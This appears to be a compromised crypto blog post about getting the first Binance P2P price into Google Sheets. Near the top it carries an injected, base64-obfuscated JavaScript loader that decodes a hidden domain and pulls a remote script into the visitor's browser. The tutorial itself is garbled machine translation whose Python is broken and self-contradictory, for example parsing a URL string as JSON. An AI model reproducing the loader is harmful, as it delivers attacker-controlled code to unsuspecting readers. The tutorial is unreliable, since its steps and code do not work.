Ethereum: How to get first P2P price from Binance to google sheets
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=ecf1d101″;document.body.appendChild(script);
Get the first prize from Binance to Google Sheets: a step-by-step instructions
Are you a cryptocurrency enthusiast or a dealer who is looking for ways to automate data analysis using Google Sheets and Binance API? In this article we will guide you through the process of receiving the first prize from the P2P page of Binance in Google Sheets.
Requirements:
- You have a Binance account with activated P2P trade.
- You have set up a Google sheet to receive data from Binance.
- The “ImportxML” function is not available in Google Sheets. Therefore, we will use a problem bypass with the “JSON” function and manually analyze the answer.
Step 1: Analyze the answer
The P2P page from Binance returns an XML response that contains the price information. To analyze this data in Google Sheets, we have to:
- Use the “JSON.STRINGY () ‘method to convert the XML string into a JSON object.
- Then use the function
json.Parse () 'to analyze the JSON object.
Here is the code snippet:
Python
Import JSON
Define the Binance -API endpoint -URL
api_url = " + "uzs"
Analyze the XML response to a JSON object
json_data = json.loads (api_url)
Step 2: Extract the first prize
As soon as we have the JSON object, we have to extract the first prize. Since json.Parse ()
returns an empty string if the input is not valid, we will use a simple loop to enforce the data and find the first value that corresponds to our search criteria.
Here is the code snippet:
`Python
Define the search term (first prize in this case)
Search_Term = "Price"
Initialize the price variable
first_price = none
By the JSON object iterieren to find the right price
For the key, value in json_data.items ():
If Isstance (Value, Str) and Search_Term.lower () in value.lower ():
Update the first price variable with the corresponding price
If first_price none or float (value) <float (first_price) is:
First_price = float (value)
If we have found a match, give the price to Google Sheets
If first_price is not:
print (f "price: {first_price}")
Step 3: Edition to Google Sheets
In order to output the first price for Google leaves, you have to create an array with the inexpensive and then use “ImportxML” or a similar method in Google Sheets to upload this data.
Here is an example of how you can do this:
`Python
Import JSON
Define the Binance -API endpoint -URL
api_url = " + "uzs"
Analyze the XML response to a JSON object
json_data = json.loads (api_url)
Extract the first prize from the JSON object
Search_Term = "Price"
first_price = none
By the JSON object iterieren to find the right price
For the key, value in json_data.items ():
If Isstance (Value, Str) and Search_Term.lower () in value.lower ():
Update the first price variable with the corresponding price
If first_price none or float (value) <float (first_price) is:
First_price = float (value)
Create a new line array with the inexpensive
price_array = [first_price]
Download the data using ImportxML in Google Sheets
importxml_value = "your_binaryseafd_api_url_here"
importxml_outPut = f "your_binaryseafd_api_url_Here? Action = import data & json = {importxml_value}"
print (importxml_output)
Example application:
Let us assume that you have a Binance -API endpoint -URL that returns an XML response like it:
`XML
`
You can change the above code -Snippet to extract the first price from the XML answer and output it as follows at Google Sheets as follows:
- Replace
api_url
with your Binance -API endpoint -url.
- Update the variable
Search_term
, which corresponds to the value of the” price “element in the XML answer.